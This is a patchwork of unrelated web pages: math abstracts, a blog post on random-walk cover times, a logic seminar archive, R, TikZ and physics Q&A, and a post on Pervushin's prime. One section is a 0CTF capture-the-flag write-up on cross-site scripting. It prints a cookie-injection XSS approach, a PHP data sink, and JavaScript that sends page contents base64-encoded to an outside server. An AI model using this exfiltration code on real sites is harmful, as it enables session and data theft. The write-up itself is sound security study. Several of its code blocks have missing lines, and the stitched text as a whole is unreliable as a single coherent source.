We derive a robust primal-dual interior-point algorithm for a semidefinite programming, SDP, relaxation for sensor localization with anchors and with noisy distance information. The relaxation is based on finding a Euclidean Distance Matrix, EDM, that is nearest in the Frobenius norm for the known noisy distances and that satisfies given upper and lower bounds on … Read more

## Continuous Optimization Methods for Structure Alignments

Structural Alignment is an important tool for fold identification of proteins, structural screening on ligand databases, pharmacophore identification and other applications. In the general case, the optimization problem of superimposing two structures is nonsmooth and nonconvex, so that most popular methods are heuristic and do not employ derivative information. Usually, these methods do not admit … Read more


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Open question: Cover times and the Gaussian free field

Here are a few fascinating open questions coming from my work with Jian Ding and Yuval Peres on cover times of graphs and the Gaussian free field. (Also, here are my slides for the corresponding talk.)

1. Cover times and the Gaussian free field

Consider a finite, connected graph ${G=(V,E)}$ and the simple random walk on ${G}$ (which, at every step, moves from a vertex to a uniformly random neighbor). If we let ${\tau_{\mathrm{cov}}}$ denote the first (random) time at which every vertex of ${G}$ has been visited, and we use ${\mathop{\mathbb E}_v}$ to denote expectation over the random walk started at ${v \in V}$, then the cover time of ${G}$ is defined by

$\displaystyle t_{\mathrm{cov}}(G) = \max_{v \in V} \mathop{\mathbb E}_v \tau_{\mathrm{cov}}.$

On the other hand, consider the following Gaussian process ${\{g_v\}_{v \in V}}$, called the (discrete) Gaussian free field (GFF) on ${G}$. Such a process is specified uniquely by its covariance structure. Fix some ${v_0 \in V}$, and put ${g_{v_0}=0}$. Then the rest of the structure is specified by the relation

$\displaystyle \mathop{\mathbb E}(g_u-g_v)^2 = R_{\mathrm{eff}}(u,v)$

for all ${u,v \in V}$, where ${R_{\mathrm{eff}}(u,v)}$ the effective resistance between ${u}$ and ${v}$ when ${G}$ is thought of as an electrical network. Equivalently, the density of ${\{g_v\}_{v \in V}}$ is proportional to

$\displaystyle \exp\left(-\frac12 \sum_{u \sim v} (g_u-g_v)^2\right),$

where the sum is over edges of $G$.
One of our main theorems can be stated as follows.

Theorem 1 (Ding-L-Peres) For every graph ${G=(V,E)}$, one has

$\displaystyle t_{\mathrm{cov}}(G) \asymp |E| \left(\mathop{\mathbb E} \max_{v \in V} g_v\right)^2,$

where ${\{g_v\}_{v \in V}}$ denotes the Gaussian free field on ${G}$.

Here ${A \asymp B}$ is the assertion that ${A}$ and ${B}$ are within universal constant factors. In particular, we use this theorem to give a deterministic ${O(1)}$-approximation to the cover time, answering a question of Aldous and Fill, and to resolve the Winkler-Zuckerman blanket time conjectures.
This follows some partial progress on these questions by Kahn, Kim, Lovasz, and Vu (1999).

2. Derandomizing the cover time

The cover time is one of the few basic graph parameters which can easily be computed by a randomized polynomial-time algorithm, but for which we don’t know of a deterministic counterpart. More precisely, for every ${\varepsilon > 0}$, we can compute a ${(1+\varepsilon)}$-approximation to the cover time by simulating the random walk enough times and taking the median estimate, but even given the above results, the best we can do in deterministic polynomial-time is an ${O(1)}$-approximation.

We now describe one conjectural path to a better derandomization. Let ${t_{\mathrm{hit}}(G) = \max_{u,v \in V} H(u,v)}$ denote the maximal hitting time in ${G}$, where ${H(u,v)}$ is the expected number of steps needed to hit ${v}$ from a random walk started at ${u}$. We prove the following more precise estimate.

Theorem 2 There is a constant ${C > 0}$ such that for every graph ${G=(V,E)}$,

$\displaystyle t_{\mathrm{cov}}(G) \leq \left(1+C\sqrt{\frac{t_{\mathrm{hit}}(G)}{t_{\mathrm{cov}}(G)}}\right) |E| \left(\mathop{\mathbb E} \max_{v \in V} g_v\right)^2.$

This prompts the following conjecture, which describes a potentially deeper connection between cover times and the GFF.

Conjecture 1 For a sequence of graphs ${\{G_n=(V_n,E_n)\}}$ with ${t_{\mathrm{hit}}(G_n) = o(t_{\mathrm{cov}}(G_n))}$,

$\displaystyle t_{\mathrm{cov}}(G_n) \sim |E_n| \left(\mathop{\mathbb E} \max_{v\in V_n} g^{(n)}_v\right)^2,$

where ${\{g^{(n)}_v\}}$ denotes the GFF on ${G_n}$.

Here, we use ${a_n \sim b_n}$ to denote ${\lim a_n/b_n = 1}$. The conjecture holds in some interesting cases, including the complete graph, the discrete ${2D}$ torus, and complete ${d}$-ary trees. (See the full paper for details; except for the complete graph, these exact estimates are entire papers in themselves.)

Since the proof of Theorem 1 makes heavy use of the Fernique-Talagrand majorizing measures theory for estimating ${\mathop{\mathbb E} \max_{v \in V} g_v}$, and this theory is bound to lose a large multiplicative constant, it seems that new techniques will be needed in order to resolve the conjecture. In particular, using the isomorphism theory discussed below, it seems that understanding the structure of the near-maxima, i.e. those points ${g_v}$ which achieve ${g_v \geq (1-\varepsilon) \left(\mathop{\mathbb E} \max_{v \in V} g_v\right)}$, will be an essential part of any study.

The second part of such a derandomization strategy is the ability to compute a deterministic ${(1+\varepsilon)}$-approximation to ${\mathop{\mathbb E} \max_{v \in V} g_v}$.

Question 1 For every ${\varepsilon > 0}$, is there a deterministic polynomial-time algorithm that, given a finite set of points ${X \subseteq \mathbb R^n}$, computes a ${(1+\varepsilon)}$-approximation to the value

$\displaystyle \mathop{\mathbb E} \max_{x \in X} \langle g,x\rangle,$

where ${g}$ is a standard ${n}$-dimensional Gaussian? Is this possible if we know that ${X}$ has the covariance structure of a Gaussian free field?

3. Understanding the Dynkin Isomorphism Theory

Besides majorizing measures, another major tool used in our work is the theory of isomorphisms between Markov processes and Gaussian processes. We now switch to considering the continuous-time random walk on a graph ${G}$. This makes the same transitions as the simple discrete-time walk, but now spends an exponential (with mean one) amount of time at every vertex. We define the local time at ${v}$ at time ${t}$ by

$\displaystyle L_t^v = \frac{\textrm{amount of time spent at } v}{\mathrm{deg}(v)}$

when we have run the random walk for time ${t}$.

Work of Ray and Knight in the 1960’s characterized the local times of Brownian motion, and then in 1980, Dynkin described a general connection between the local times of Markov processes and associated Gaussian processes. The version we use is due to Eisenbaum, Kaspi, Marcus, Rosen, and Shi (2000).

Theorem 3 Let ${G=(V,E)}$ and fix some ${v_0 \in V}$, which is the origin of the random walk. Let ${\ell > 0}$ be given, and define the (random) time ${T=T(\ell)=\inf \{ t: L_t^{v_0} \geq \ell \}}$. If ${\{g_v\}_{v \in V}}$ is the GFF with ${g_{v_0}=0}$, then

$\displaystyle \left\{ L_T^x + \frac12 g_x^2 : x \in V \right\} \stackrel{\mathrm{law}}{=} \left\{ \frac12 (g_x - \sqrt{2\ell})^2 : x \in V\right\}.$

Note that on the left hand side, the local times ${\{L_T^x\}}$ and the GFF ${\{g_x\}}$ are independent. This remarkable theorem (and many others like it) are proved in the book of Marcus and Rosen. In the introduction, the authors describe the “wonderful, mysterious isomorphism theorems.” They continue,

Another confession we must make is that we do not really understand the actual relationship between local times… and their associated Gaussian processes. If one asks us, as is often the case during lectures, to give an intuitive description… we must answer that we cannot. We leave this extremely interesting question to you.

So I will now pass the question along. The proof of the isomorphism theorems proceeds by taking Laplace transforms and then doing some involved combinatorics. It’s analogous to the situation in enumerative combinatorics where we have a generating function proof of some equality, but not a bijective proof where you can really get your hands on what’s happening.

What is the simplest isomorphism-esque statement which has no intuitive proof? The following lemma is used in the proof of the original Ray-Knight theorem on Brownian motion (see Lemma 6.32 in the Morters-Peres book). It can be proved in a few lines using Laplace transforms, yet one suspects there should be an explicit coupling.

Lemma 4 For any ${\ell > 0}$, the following holds. Suppose that ${X}$ is a standard normal, ${Z_1, Z_2, \ldots}$ are i.i.d. standard exponentials, and ${N}$ is Poisson with parameter ${\ell^2/2}$. If all these random variables are independent, then

$\displaystyle (X+\ell)^2 \stackrel{\mathrm{law}}{=} X^2 + 2 \sum_{j=1}^N Z_j.$

Amazing! The last open question is to explain this equality of distributions in a satisfactory manner, as a first step to understanding what’s really going on in the isomorphism theory.


text:
# Topic Archive: set theory

University of Wisconsin
Noah Schweber received his doctorate from the University of California-Berkeley in 2016, under the supervision of Antonio Montalban. He now holds a postdoctoral position at the University of Wisconsin.
University of Helsinki
CUNY Logic WorkshopFriday, November 4, 20162:00 pmGC 6417

# Hierarchies of forcing axioms

The City University of New York

I will give an overview over several hierarchies of forcing axioms, with an emphasis on their versions for subcomplete forcing, but in the instances where the concepts are new, their versions for more established classes of forcing, such as proper forcing, are of interest as well. The hierarchies are the traditional one, reaching from the bounded to the unbounded forcing axiom (i.e., versions of Martin’s axiom for classes other than ccc forcing), a hierarchy of resurrection axioms (related to work of Tsaprounis), and (inspired by work of Bagaria, Schindler and Gitman) the “virtual” versions of these hierarchies: the weak bounded forcing axiom hierarchy and the virtual resurrection axiom hierarchy). I will talk about how the levels of these hierarchies are intertwined, in terms of implications or consistency strength. In many cases, I can provide exact consistency strength calculations, which build on techniques to “seal” square sequences, using subcomplete forcing, in the sense that no thread can be added without collapsing ω1. This idea goes back to Todorcevic, in the context of proper forcing (which is completely different from subcomplete forcing).

CUNY Logic WorkshopFriday, September 16, 20162:00 pmGC 6417

# Set-theoretic potentialism

The City University of New York

In analogy with the ancient views on potential as opposed to actual infinity, set-theoretic potentialism is the philosophical position holding that the universe of set theory is never fully completed, but rather has a potential character, with greater parts of it becoming known to us as it unfolds. In this talk, I should like to undertake a mathematical analysis of the modal commitments of various specific natural accounts of set-theoretic potentialism. After developing a general model-theoretic framework for potentialism and describing how the corresponding modal validities are revealed by certain types of control statements, which we call buttons, switches, dials and ratchets, I apply this analysis to the case of set-theoretic potentialism, including the modalities of true-in-all-larger-Vβ, true-in-all-transitive-sets, true-in-all-Grothendieck-Zermelo-universes, true-in-all-countable-transitive-models and others. Broadly speaking, the height-potentialist systems generally validate exactly S4.3 and the height-and-width-potentialist systems generally validate exactly S4.2. Each potentialist system gives rise to a natural accompanying maximality principle, which occurs when S5 is valid at a world, so that every possibly necessary statement is already true.  For example, a Grothendieck-Zermelo universe Vκ, with κ inaccessible, exhibits the maximality principle with respect to assertions in the language of set theory using parameters from Vκ just in case κ is a Σ3-reflecting cardinal, and it exhibits the maximality principle with respect to assertions in the potentialist language of set theory with parameters just in case it is fully reflecting Vκ < V.

This is current joint work with Øystein Linnebo, in progress, which builds on some of my prior work with George Leibman and Benedikt Löwe in the modal logic of forcing. Comments and questions can be made on the speaker’s blog.

York University
CUNY Logic WorkshopFriday, October 7, 20162:00 pmGC 6417

# Some necessary applications of logic to operator algebras

York University

Connections between logic and operator algebras in the past century were few and sparse. Recently, some long-standing open problems on the structure of operator algebras were solved using methods from mathematical logic. I will survey some of these results, with a particular emphasis on applications of set theory.

CUNY Logic WorkshopFriday, September 23, 20162:00 pmGC 6417

# Cardinal invariants of analytic P-ideals

National University of Singapore

I will introduce several cardinal invariants associated with analytic P-ideals, concentrating on the ideal of sets of asymptotic density zero. I will give a summary of some recent work on these invariants relating them to the dominating, bounding and splitting numbers, and to some variants of the splitting number. Several fundamental problems remain open and I will try to discuss as many of these as I can.

Rutgers University
Monday, April 11, 20164:00 pmGC Science Center, Room 4102

# Freiling’s axiom of symmetry, or throwing darts at the real line

The City University of New York

This will be a talk for the GC Math Program Graduate Student Colloquium.  The talk will be aimed at a general audience of mathematics graduate students.

I shall give an elementary presentation of Freiling’s axiom of symmetry, which is the principle asserting that if we map every real $x$ to a countable set of reals $A_x$, then there are two reals $x$ and $y$ for which $x$ is not in $A_y$ and $y$ is not in $A_x$.  To argue for the truth of this principle, Freiling imagined throwing two darts at the real number line, landing at $x$ and $y$ respectively: almost surely, the location $y$ of the second dart is not in the set $A_x$ arising from that of the first dart, since that set is countable; and by symmetry, it shouldn’t matter which dart we imagine as being first. So it may seem that almost every pair must fulfill the principle. Nevertheless, the principle is independent of the axioms of ZFC and in fact it is provably equivalent to the failure of the continuum hypothesis.  I’ll introduce the continuum hypothesis in a general way and discuss these foundational matters, before providing a proof of the equivalence of the negation of CH with the axiom of symmetry. The axiom of symmetry admits natural higher dimensional analogues, such as the case of maps from pairs $(x,y)$ to countable sets $A_{x,y}$, where one seeks a triple $(x,y,z)$ for which no member is in the set arising from the other two, and these principles also have an equivalent formulation in terms of the size of the continuum.

CUNY Logic WorkshopFriday, February 26, 20162:00 pmGC 6417

City Tech - CUNY

The goal of set theory, as articulated by Hugh Woodin in his recent Rothschild address at the Isaac Newton Institute, is develop a “convincing philosophy of truth.” There he described the work of set theorists as falling into one of two categories: studying the universe of sets and studying models of set theory. We offer a new perspective on the nature of truth in set theory that may to some extent reconcile these two efforts into one. Joint work with Shoshana Friedman.

Kurt Godel Research Center
Vera Fischer completed her doctorate in 2008 at York University, under the supervision of Juris Steprans, and now is an assistant at the Kurt Gödel Research Center in Vienna. She studies combinatorial set theory, the structure of the real line, and forcing.
CUNY Logic WorkshopFriday, April 1, 20162:00 pmGC 6417

# Woodin’s AD-conjecture and local Reinhardt cardinals

Rutgers University

We will discuss Woodin’s AD-conjecture, which gives a deep relationship between very large cardinals and determined sets of reals. In particular we will show that the AD-conjecture holds for the axiom I0 and that there are many interesting consequences of this fact. We will also discuss the notion of a local Reinhardt cardinal and how variations of the AD-conjecture might show that such cardinals do not exist.

CUNY Logic WorkshopFriday, February 5, 20162:00 pmGC 6417

# Boolean ultrapowers in set theory

The City University of New York

Boolean ultrapowers can serve to explain phenomena that arise in the context of iterated ultrapowers, such as the genericity of the critical sequence over the direct limit model. The examples we give are ultrapowers formed using the complete Boolean algebras of Prikry forcing, Magidor forcing, or a generalization of Prikry forcing. Boolean ultrapowers can also be viewed as a direct limit of ultrapowers, and we present some criteria for when the intersection of these ultrapowers is equal to the generic extension of the Boolean ultrapower, thus arriving at a generalization of a phenomenon first observed by Bukovsky and Dehornoy in the context of Prikry forcing.

Set Theory DayFriday, March 11, 20169:00 am

# Set Theory Day March 11, 2016 at GC

GC 4102 (Science Center)

We announce a one-day conference, Set Theory Day on Friday, March 11, 2016, in celebration of the 50th birthday of Prof. Joel David Hamkins. The conference will take place at the CUNY Graduate Center and will last all day, with many of Prof. Hamkins’s former students giving talks on their work. All interested mathematicians are invited to attend. The schedule is posted on nylogic.org/set-theory-day. A PDF program is here.

CUNY Logic WorkshopFriday, December 11, 20152:00 pmGC 6417

# Ramsey theory and topological dynamics

I will introduce two prominent dynamical systems for a given toplogical group, the greatest ambit and the universal minimal flow, as spaces of (near) ultrafilters on certain Boolean algebras. Representing a topological group as a group of isometries of a highly symmetric structure, I will hint how metrizability and triviality of the universal minimal flow is linked to the (approximate) structural Ramsey property. My focus will lie on problems that arise in the study of universal minimal flows in Ramsey theory, model theory, set theory and continuum theory.

Monday, April 27, 201511:00 amGC 6417Einstein Chair Seminar, two parts

# The continuum hypothesis and other set-theoretic ideas for non-set-theorists

The City University of New York

This is a talk for the Einstein Chair Mathematics Seminar at the CUNY Graduate Center, a talk on set theory for non-set-theorists, in two parts:

• An introductory background talk at 11 am
• The main talk at 2 – 4 pm

I shall present several set-theoretic ideas for a non-set-theoretic mathematical audience, focusing particularly on the continuum hypothesis and related issues.

At the morning talk, I shall discuss and prove the Cantor-Bendixson theorem, which asserts that every closed set of reals is the union of a countable set and a perfect set (a closed set with no isolated points), and explain how it led to Cantor’s development of the ordinal numbers and how it establishes that the continuum hypothesis holds for closed sets of reals. We’ll see that there are closed sets of arbitrarily large countable Cantor-Bendixson rank. We’ll talk about the ordinals, about $omega_1$, the long line, and, time permitting, we’ll discuss Suslin’s hypothesis. Dennis has requested that at some point the discussion turn to the role of set theory in the foundation for mathematics, compared for example to that of category theory, and I would look forward to that. I would be prepared also to discuss the Feferman theory in comparison to Grothendieck’s axiom of universes, and other issues relating set theory to category theory.

At the main talk in the afternoon, I’ll begin with a discussion of the continuum hypothesis, including an explanation of the history and logical status of this axiom with respect to the other axioms of set theory, and establish the connection between the continuum hypothesis and Freiling’s axiom of symmetry. I’ll explain the axiom of determinacy and some of its applications and its rich logical situation, connected with large cardinals. I’ll prove the determinacy of open sets and show that AD implies that every set of reals is Lebesgue measurable. I’ll briefly mention the themes and goals of the subjects of cardinal characteristics of the continuum and of Borel equivalence relation theory.  If time permits, I’d like to explain some fun geometric decompositions of space that proceed in a transfinite recursion using the axiom of choice, mentioning the open questions concerning whether there can be such decompositions that are Borel.

Set theory seminarFriday, April 24, 20152:00 pmGC 6417

# Dissertation Defense: Force to change large cardinals

This will be the dissertation defense of the speaker.  There will be a one-hour presentation, followed by questions posed by the dissertation committee, and afterwards including some questions posed by the general audience. The dissertation committee consists of Joel David Hamkins (supervisor), Gunter Fuchs, Arthur Apter, Roman Kossak and Philipp Rothmaler.

Set theory seminarFriday, March 6, 201510:00 amGC 6417

# Embeddings of the universe into the constructible universe, current state of knowledge

The City University of New York

I shall describe the current state of knowledge concerning the question of whether there can be an embedding of the set-theoretic universe into the constructible universe. The main question is: can there be an embedding $j:Vto L$ of the set-theoretic universe $V$ into the constructible universe $L$, when $Vneq L$? The notion of embedding here is merely that $xin y$ if and only if $j(x)in j(y)$, and such a map need not be elementary nor even $Delta_0$-elementary. It is not difficult to see that there can generally be no $Delta_0$-elementary embedding $j:Vto L$, when $Vneq L$.  Nevertheless, the question arises very naturally in the context of my previous work on the embeddability phenomenon, which shows that every countable model $M$ does admit an embedding $j:Mto L^M$ into its constructible universe. More generally, any two countable models of set theory are comparable; one of them embeds into the other. Indeed, one model $langle M,in^Mrangle$ embeds into another $langle N,in^Nrangle$ just in case the ordinals of the first $text{Ord}^M$ order-embed into the ordinals of the second $text{Ord}^N$.  In these theorems, the embeddings $j:Mto L^M$ are defined completely externally to $M$, and so it was natural to wonder to what extent such an embedding might be accessible inside $M$. Currently, the question remains open, but we have some partial progress, settling it in a number of cases.

This is joint work of myself, W. Hugh Woodin, Menachem Magidor, with contributions also by David Aspero, Ralf Schindler and Yair Hayut.  See more information at the links below:

CUNY Logic WorkshopFriday, April 17, 20152:00 pmGC 6417

# Feedback computability

Florida Atlantic University

Many notions of computability allow for an oracle. One natural oracle is the set of algorithms which converge. Normally the way that’s taken is that the programs that are running are different from those in the oracle — the ones running can access an oracle, and the ones in the oracle can’t. But what if the computations running and those in the oracle are the same?


text:
# A box plot of qualitative variables

I have 2 groups of patients; responders to chemotherapy and non-responders

I have calculated cancer cell fraction (CCF) of a set of driver genes (by variant allele frequency) for each group and I have

> head(dat)
Response       CCF
1 Responders 1.0000000
2 Responders 0.5413323
3 Responders 1.0000000
4 Responders 1.0000000
5 Responders 1.0000000
6 Responders 1.0000000

unique(dat$Response) [1] Responders Nonresponders Levels: Nonresponders Responders >  If CCF > 0.95 , the mutation is clonal otherwise sub clonal I want to show how many clone and subclone are in these two groups by box plot or something similar like below I have tried this which was nonsense ggplot(dat, aes(x=Response, y=CCF)) + geom_boxplot()  Can you help me? ## 1 Answer I'm not sure that boxplot will be the more appropriate representation, as you will end with two numbers (count of Clonal and SubClonal) per groups of patients. One solution will be to first create a new categorical variable based on CCF values using for example ifelse statement for example by writing: df$Clonal <- ifelse(df\$CCF > 0.95,"Clone","SubClonal")

Then you can get the count of each Clone and subclone for each responders and non responders by using table:

DF <- as.data.frame(table(df[,c("Response","Clonal")]))

You can finally convert these new values as percentage by grouping according to the Response. For example, using dplyr, you can do something like that:

library(dplyr)

DF %>% group_by(Response) %>% mutate(Freq_percent = Freq / sum(Freq))

And finally, you can plot it as a barchart or single point in ggplot2. Hope it helps you to figure it out how to deal with your data.


text:
## Monday, March 20, 2017

### 0CTF 2017 - complicated xss (web 177)

Complicated xss was a client-side web security task revolving around, well, XSSes. At the very start you were handed a way to XSS the admin (limited by proof of work) and the location of the flag - http://admin.goverment.vip:8000. And well, all you knew.

I started by writing a solved for the proof-of-work, since that would be needed to get any real testing done anyway. First I wanted to do an "at request" brute force, but in the end I decided that a proof-of-work with 24-bit solution space can just be pre-calculated (24-bits means it is only 16 milion hashes - not a lot). So I've run the following script (note that I calculated more hashes just to decrease the probability of missing a hash substring on the generated list):

import md5
for i in range(0, 0x2000000):
s = "%.8x" % i
print "%s %s" % (md5.md5(s).hexdigest(), s)

Then I've run sort (the command line tool) on the output, and saved it to md5sump.sorted file (about 1.5 GB). Since I took care for each line to be same size, the final file was ideal for binary search and resulted in ~0.0005sec  (~32 seeks; Windows was nice enough to cache the file in RAM) per proof-of-work on average.

Having that solved I prepared another tool - one to do fast submissions so I wouldn't have to go through the website each time. The tool was basically an infinite loop that grabbed a new proof-of-work substring, binary-searched for the solution (and repeated in the event of not having a given substring on the list), and waited for me to press enter; then it grabbed payload.js file and uploaded its content to the challenge server, and restarted the loop. The tool itself:

import httplib
import re
import urllib
import time

PHPSESSID = "164l560708f930f473k1s461a1"

def fetch_substr():
conn = httplib.HTTPConnection("government.vip")
r1 = conn.getresponse()
res = re.search(r"=== '([0-9a-f]+)'\).", data1)
conn.close()
return res.group(1)

params = urllib.urlencode({
})

"Content-type": "application/x-www-form-urlencoded"
}

conn = httplib.HTTPConnection("government.vip")
r = conn.getresponse()
conn.close()
return data

def solution(s):
line_len = len("0000000702e3e0e0848435ed83afff57 00451787\r\n")

with open("md5dump.sorted", "rb") as f:
L = 0
R = 33554432-1

while R - L > 1:
C = L + (R - L) / 2
offset = C * line_len
f.seek(offset)
#print ln

return ln.split(" ")[1]

R = C
continue

L = C

return None

while True:
print "\n------------------ New Stage"

while True:
s = fetch_substr()
print "New substring:", s
st = time.time()
s = solution(s)
en = time.time()
print "Solution:", s, "(in %f sec)" % (en - st)
if s is not None:
break

print "Ready. Press ENTER to fire."
raw_input()

There was one more tool I needed before I could focus on the task - a sink for whatever I leak from the server. In my case it took the form of a small PHP script on one of my WWW servers:

<?php

$f = fopen("/tmp/0ctf", "w");$date = date('Y-m-d H:i:s');
fwrite($f,$date . "\n\n");
if (!isset($_REQUEST['b'])) { fwrite($f, "---no data---\n");
} else {
$b =$_REQUEST['b'];
$b = str_replace(" ", "+",$b);

fwrite($f,$b . "\n\n---decoded---\n");
fwrite($f, base64_decode($b));
}
fclose(\$f);

The script basically received data (supported both GET and POST), decoded it (assuming it was base64 encoded) and saved to /tmp/0ctf file.

On one of the terminals I actually had watch cat /tmp/0ctf running, so if any data was sent in, I would immediately see it.

After all that code I could finally start the task (well OK, to be honest parts of these tools were modified/improved when I already worked on the task).

The first thing I checked was whether the XSS we were handed in admin.government.vip:8000 or in government.vip:80 context - it turned out the latter, so the first order of business was to find an XSS in the former.

It turned out that admin.government.vip:8000 was using a cookie called username that contained the, well, name of the user. And it was displayed by server-side in an unsanitized way, so that was our vector right there.

Given that we already were given code execution on government.vip domain, and that the same origin policy for cookies ignores the port, we could create a "all subdomains"-scoped username cookie with the initial XSS to overwrite the username cookie in the admin.government.vip:8000 context. Then it still took several minutes to get the proper XSS payload in the cookie (URL encoding wasn't decoded and semicolons in cookies have a special meaning, so the cookie-javascript-payload could not have any semicolons at all), but finally I arrived at this (it's the initial payload that was submitted on the first form):

'">

The XSS payload in the cookie (see the "uname =" line) basically creates a

Since I actually used XMLHttpRequest to leak data, I wasn't too happy about that, but it turned out that it was enough to create a new IFRAME object and grab XMLHttpRequest object from its contentWindow property.

...
var f = document.createElement('iframe');
window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
//sendstuff("works again");
...
};
document.body.appendChild(f);
...

Leaking the document.body.innerHTML revealed an upload form:

<input type="file" name="file">

</form>

Since XMLHttpRequest was available again, I was able to use it to upload a JavaScript-created file (using FormData and Blob) and receive (and leak) the reply using the following snippet:

try {

var xhr = new XMLHttpRequest;
sendstuff(xhr.responseText);
}
};

var formData = new FormData();
var content = "ala ma kota";
var blob = new Blob([content], {type: "text/plain"});
formData.append("file", blob, "hithereasdf.txt");

xhr.send(formData);

} catch (e) {
sendstuff("Error: " + e);
}

I actually expected that I'll have to e.g. upload a PHP shell and look for the flag through that, but it turned out that that was enough and the server awarded me with a flag in the response! :)

In case the screenshot is too small:

# cat /tmp/0ctf
2017-03-18 22:16:31

ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9

---decoded---
flag{xss_is_fun_2333333}

And that's it!

var lamesend = function(data) {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://gynvael.coldwind.pl/0ctf.php?b=' + btoa(data));
document.body.appendChild(f);
}

var sendstuff = function(data) {
var http = new XMLHttpRequest();
var url = "http://gynvael.coldwind.pl/0ctf.php";
var params = "b=" + btoa(data);
http.open("POST", url, true);
http.send(params);
}

var f = document.createElement('iframe');
window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
//sendstuff("works again");

try {

var xhr = new XMLHttpRequest;
sendstuff(xhr.responseText);
}
};

var formData = new FormData();
var content = "ala ma kota";
var blob = new Blob([content], {type: "text/plain"});
formData.append("file", blob, "hithereasdf.txt");

xhr.send(formData);

} catch (e) {
sendstuff("Error: " + e);
}

};
document.body.appendChild(f);


text:
# Smallest wavelenghth?

1. Apr 20, 2009

### scupydog

As above...red light about 600 nanometers, blue light about 400 nanometers, so what could the smallest possible wavelength of light be or is it infinely small?

or the longest possible wavelength for that matter

2. Apr 20, 2009

### Stratosphere

Do you mean the smallest wavelength of visible light or any type?

Gamma rays have the shortest wavelengths of any other type of electromagnetism. They can have wavelengths of less than 10 picometre.

On the other hand, Extremely low frequency is abought $$\lambda$$=100Mm

Last edited: Apr 20, 2009
3. Apr 21, 2009

### stevebd1

You might say that the smallest wavelength possible would be http://en.wikipedia.org/wiki/Planck_length" [Broken] (1.616e-35 metres) which is the smallest distance predicted before quantum effects reduce spacetime to a quantum foam.

Last edited by a moderator: May 4, 2017
4. Apr 21, 2009

### scupydog

Could the smallest/longest wavelength be ascosciated with zero point energy?

Last edited by a moderator: May 4, 2017
5. Apr 21, 2009

### Matterwave

Possibly the longest wavelength of light can be associated with a zero-point energy, but the smallest wavelength of light is associated with the highest energy possible in one photon. These are probably limited by Quantum Mechanics, though I'm not sure.

The highest and lowest wavelengths are, naively, as close to infinity and zero as possible, disregarding quantum effects. These can occur as you get red/blue shifted and as you get closer and closer to the speed of light. We can see that from the relativistic doppler shift:
$$\lambda_0=\sqrt{\frac{1+\frac{v}{c}}{1-\frac{v}{c}}}\lambda_s$$
Although since you can never achieve the speed of light the wavelengths will never achieve infinity or zero.


text:
# Tikz node form as open half circle

A typical form for a node in TikZ is a circle around the text of the node. The shapes packages provides lot of other forms. What I couldn't find is an open half circle (or ellipse) under the node. Any ideas or hints on that? Cheers Renger

• Are you searching for semicircle? – Symbol 1 Aug 18 '17 at 14:30
• No, semicircle is upside down and is closed, I want to have it open (like a bowl below the node) – arnyeinstein Aug 18 '17 at 17:13
• See this question: tex.stackexchange.com/questions/33150/creating-node-shapes How do I mark a question as duplicate? – Julian_W Aug 18 '17 at 19:56
• How about \node(A){some text}; and then \draw(A.west)to[bend right=45](A.east);? – Symbol 1 Aug 18 '17 at 20:41

This is mainly inspired from: Creating node shapes

However it is just oriented in one direction here. I'm sure one can improve it to make it easily rotatable.

\documentclass{article}
\usepackage{tikz}

\makeatletter
\tikzset{arc style/.initial={}}
\pgfdeclareshape{half circle}{
\inheritsavedanchors[from=circle]
\inheritanchorborder[from=circle]

\inheritanchor[from=circle]{center}
\inheritanchor[from=circle]{south}
\inheritanchor[from=circle]{west}
\inheritanchor[from=circle]{north}
\inheritanchor[from=circle]{east}
% can add more anchors if necessary

\inheritbackgroundpath[from=circle]

\beforebackgroundpath{
% get and set options
\pgfkeys{/tikz/arc style/.get=\tmp}
\expandafter\tikzset\expandafter{\tmp}
\tikz@options

% get radius length and center coordinates
\centerpoint \pgf@xb=\pgf@x \pgf@yb=\pgf@y

% draw arc
\pgfpathmoveto{\pgfpoint{\pgf@xb}{\pgf@yb}}
\pgfpatharc{90}{-90}{\pgf@xa}
% change the last line to the following line if you want the half circle rotated in the other direction
% \pgfpatharc{90}{270}{\pgf@xa}

\pgfusepath{draw}
}
}
\makeatother

\begin{document}
\begin{tikzpicture}
\node[
half circle,
fill=red!10,  % can fill the circle if needed
minimum width=2cm,
arc style={red,thick}
] (c) {my half circle};

\end{tikzpicture}
\end{document}


text:
Ivan Pervushin was a 19th-century Russian amateur mathematician, employed as a cleric, who factored two Fermat numbers and discovered the ninth Mersenne prime $$2^{61}-1 = 2305843009213693951$$. But despite these obvious reasons for fame, his Wikipedia article was in such bad shape (e.g. completely unsourced) that it was recently put up for a deletion discussion, which it survived.

While looking for more sources for this article, I ran across what Google numbers as page 140 of Ripley's Believe It or Not!: In Celebration... A special reissue of the original! (Simon and Schuster 2011), which seems to describe a different reason for Pervushin's number $$2^{61}-1$$ to be interesting. It writes (in somewhat hyperbolic language) that this is the number of different ways of making change for $5, using U.S. currency ("cents, nickels, dimes, quarters, halves, and dollars"). Not convinced, I wrote a Python program based on a simple dynamic programming algorithm to compute the number of ways of making change for$5 (also allowing a $5 bill to be used itself, but that only changes the answer by one): The output was $$98412$$ (Tacoma), much smaller than the number in the book. (The problem is also briefly discussed here with essentially the same answer, $$98411$$ if the$5 bill is not counted as a solution.) In retrospect, the small size of this number should not have been a surprise. To make change for n cents using a fixed set of $$c$$ different coins, the number of possible solutions is asymptotically $$O(n^{c-1})$$: each solution can be represented as a $$c$$-dimensional vector of how many coins of each value to use, but the coefficient for the pennies is determined by all the other coefficients. And the leading constant in the $$O$$-notation is very small (much smaller than 1) because you can't use anywhere near $$n$$ of the larger denomination coins. So a polynomial bound with a moderate exponent and a small constant shouldn't generate huge numbers.

But then I thought: maybe they have a different definition of what it means for two ways of making change to differ. It couldn't be that the coins of the same value are distinguishable (different years or mint marks, or different state-by-state obverse designs on the quarters) because then the answer wouldn't be well defined: it would depend on how many different coins of each type you happen to have and not merely on the value of the amount to be changed and the fixed system of coin values. But maybe the order in which I hand you the change matters: if I give you four dollar bills and then four quarters, it's a different way of making change than giving you the quarters first and then the dollars? To test this, I made a small modification to my program to calculate the number of distinct sequences of coins and bills (rather than the number of distinct multisets) that would add to the given amount:

